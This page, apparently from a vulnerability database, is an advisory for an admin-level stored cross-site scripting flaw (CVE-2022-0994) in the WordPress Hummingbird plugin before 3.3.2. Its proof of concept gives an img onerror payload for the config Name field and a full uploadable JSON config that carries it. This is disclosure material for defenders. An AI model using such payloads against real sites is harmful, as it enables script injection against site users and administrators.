Lucene search
K

WordPress Hummingbird Plugin < 3.3.2 - Stored Cross-Site Scripting Vulnerability

🗓️ 07 Apr 2022 00:00:00Reported by Taurus OmarType 
zdt
 zdt
🔗 0day.today👁 259 Views

WordPress Hummingbird Plugin < 3.3.2 - Stored Cross-Site Scriptin

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-0994
18 Apr 202218:15
attackerkb
Circl
CVE-2022-0994
18 Apr 202222:23
circl
CNNVD
WordPress和WordPress plugin 跨站脚本漏洞
7 Apr 202200:00
cnnvd
CNVD
WordPress Hummingbird plugin跨站脚本漏洞
11 Apr 202200:00
cnvd
CVE
CVE-2022-0994
18 Apr 202217:10
cve
Cvelist
CVE-2022-0994 Hummingbird < 3.3.2 - Admin+ Stored Cross-Site Scripting
18 Apr 202217:10
cvelist
EUVD
EUVD-2022-15987
3 Oct 202520:07
euvd
NVD
CVE-2022-0994
18 Apr 202218:15
nvd
OSV
CVE-2022-0994
18 Apr 202218:15
osv
Packet Storm
WordPress Hummingbird Cross Site Scripting
7 Apr 202200:00
packetstorm
Rows per page
Tittle:
WordPress Plugin Hummingbird < 3.3.2 - Admin+ Stored Cross-Site Scripting

References:
CVE-2022-0994

Author:
Taurus Omar 

Description:
The plugin does not sanitise and escape the Config Name, which could allow high privilege users, such as admin to perform cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.

Affects Plugins:
Hummingbird-performance - Fixed in version 3.3.2

Proof of Concept:
Go to Hummingbird's Settings > Configs > edit the "Name and Description" and put the following payload in the Name field: <img src onerror=alert(/XSS/)>

Save and Click 'Apply' to trigger the XSS

Go to Hummingbird's Settings > Configs and Upload the following config

{
  "id": 1,
  "name": "<img src onerror=alert(/XSS/)>",
  "description": "Xss",
  "config": {
    "configs": {
      "settings": {
        "advanced": {
          "query_string": false,
          "emoji": false,
          "cart_fragments": false,
          "lazy_load": {
            "enabled": false
          }
        },
        "database": {
          "reports": {
            "enabled": false
          }
        },
        "gravatar": {
          "enabled": true
        },
        "page_cache": {
          "enabled": true,
          "detection": "auto",
          "integrations": {
            "varnish": false,
            "opcache": false
          },
          "preload": false
        },
        "performance": [],
        "rss": {
          "enabled": true,
          "duration": 3600
        },
        "settings": {
          "accessible_colors": false,
          "remove_settings": false,
          "remove_data": false,
          "control": true
        },
        "uptime": {
          "enabled": false
        }
      }
    },
    "strings": {
      "advanced": [
        "Remove query strings from assets - Inactive\nRemove Emoji JS & CSS files - Inactive\nDisable WooCommerce cart fragments - Inactive\nComments lazy loading - Inactive\n"
      ],
      "database": [
        ""
      ],
      "gravatar": [
        "Gravatar cache - Active\n"
      ],
      "page_cache": [
        "Page cache - Active\nFile change detection - Auto\nPurge Varnish cache - Inactive\nPurge OpCache - Inactive\nCache preloading - Inactive\n"
      ],
      "rss": [
        "RSS caching - Active\n"
      ],
      "settings": [
        "High contrast mode - Inactive\nRemove settings on uninstall - Inactive\nRemove data on uninstall - Inactive\nCache control in admin bar - Active\n"
      ],
      "uptime": [

        "Uptime - Inactive\n"
      ]
    }
  },

  "plugin": "1081721"
} 

Classification:
Type XSS 
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/e9dd62fc-bb79-4a6b-b99c-60e40f010d7a

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Apr 2022 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 23.5
CVSS 3.14.8
EPSS0.00206
259